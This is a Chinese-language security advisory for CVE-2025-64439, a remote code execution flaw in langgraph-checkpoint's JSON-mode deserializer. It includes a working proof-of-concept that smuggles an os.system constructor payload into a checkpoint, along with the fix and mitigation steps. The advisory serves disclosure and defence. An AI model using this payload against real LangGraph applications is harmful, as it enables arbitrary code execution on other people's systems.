LangGraph检查点JSON模式存在远程代码执行漏洞

本文详细分析了LangGraph检查点组件在JSON序列化模式下的远程代码执行漏洞CVE-2025-64439,包括漏洞原理、影响范围、攻击证明和修复方案,涉及Python反序列化安全风险。

LangGraph检查点受JSON模式RCE漏洞影响(CVE-2025-64439)

漏洞详情

包信息

  • 包名: langgraph-checkpoint (pip)
  • 受影响版本: < 3.0.0
  • 已修复版本: 3.0.0

漏洞描述

在langgraph-checkpoint 3.0版本之前,LangGraph的JsonPlusSerializer(用作所有检查点的默认序列化协议)在反序列化以"json"序列化模式保存的有效负载时存在远程代码执行(RCE)漏洞。

如果攻击者能够使您的应用程序持久保存以此模式序列化的有效负载,他们可能还能够发送在反序列化期间执行任意Python代码的恶意内容。

升级到langgraph-checkpoint 3.0版本可通过阻止在此模式下保存的自定义对象的反序列化来修补此漏洞。如果您部署在langgraph-api中,任何0.5或更高版本也没有此漏洞。

受影响文件/组件

jsonplus.py

默认情况下,序列化器尝试使用"msgpack"进行序列化。然而,在检查点库的3.0版本之前,如果非法的Unicode代理值导致序列化失败,它将回退到使用"json"模式。

在此模式下操作时,反序列化器支持自定义对象的构造函数样式格式(lc == 2,type == “constructor”),以允许它们在加载时重建。如果攻击者能够使用恶意负载触发此模式,反序列化将允许攻击者在加载时执行任意函数。

受影响用户

此问题影响所有使用早于3.0的langgraph-checkpoint版本的用户:

  • 允许不受信任或用户提供的数据持久保存到检查点中,并且
  • 使用可能回退到"json"模式的默认序列化器(或显式实例化JsonPlusSerializer)

如果您的应用程序仅处理受信任的数据或不允许不受信任的检查点写入,实际风险会降低。

攻击证明(PoC)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
        StateGraph(State).
        add_node("my_node", my_node).
        add_edge("__start__", "my_node").
        compile(checkpointer=saver)
    )
    
    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
        "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # 恶意负载在第一次调用中保存
    graph.invoke(malicious_payload, config=config)

    # 恶意负载在第二次调用中被反序列化并执行代码
    graph.invoke({"foo": "hi there"}, config=config)

运行此PoC会在磁盘上写入文件/tmp/pwnd.txt,演示代码执行。

内部利用以下代码路径:

1
2
3
4
5
6
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # 在检查点中使用

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # 执行os.system(...)

修复版本

该漏洞在langgraph-checkpoint==3.0.0中修复

发布链接:https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

修复描述

修复引入了构造函数反序列化的允许列表,将允许的"id"路径限制为在序列化器构造时明确批准的模块/类组合。

此外,已弃用以"json"格式保存有效负载,以移除此不安全的回退路径。

缓解措施

立即升级到langgraph-checkpoint==3.0.0。

此版本与langgraph>=0.3完全兼容,不需要任何导入更改或代码修改。

在langgraph-api中,更新到0.5或更高版本将自动需要检查点库的修补版本。

参考资料

安全评分

  • 严重程度: 高
  • CVSS总体评分: 7.4/10
  • 弱点: CWE-502 不受信任数据的反序列化

CVSS v4基础指标:

  • 攻击向量: 网络
  • 攻击复杂性: 低
  • 攻击要求: 存在
  • 所需权限: 低
  • 用户交互: 无
  • 脆弱系统影响: 完整性-高, 可用性-高
  • 后续系统影响: 机密性-高, 完整性-高, 可用性-高
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计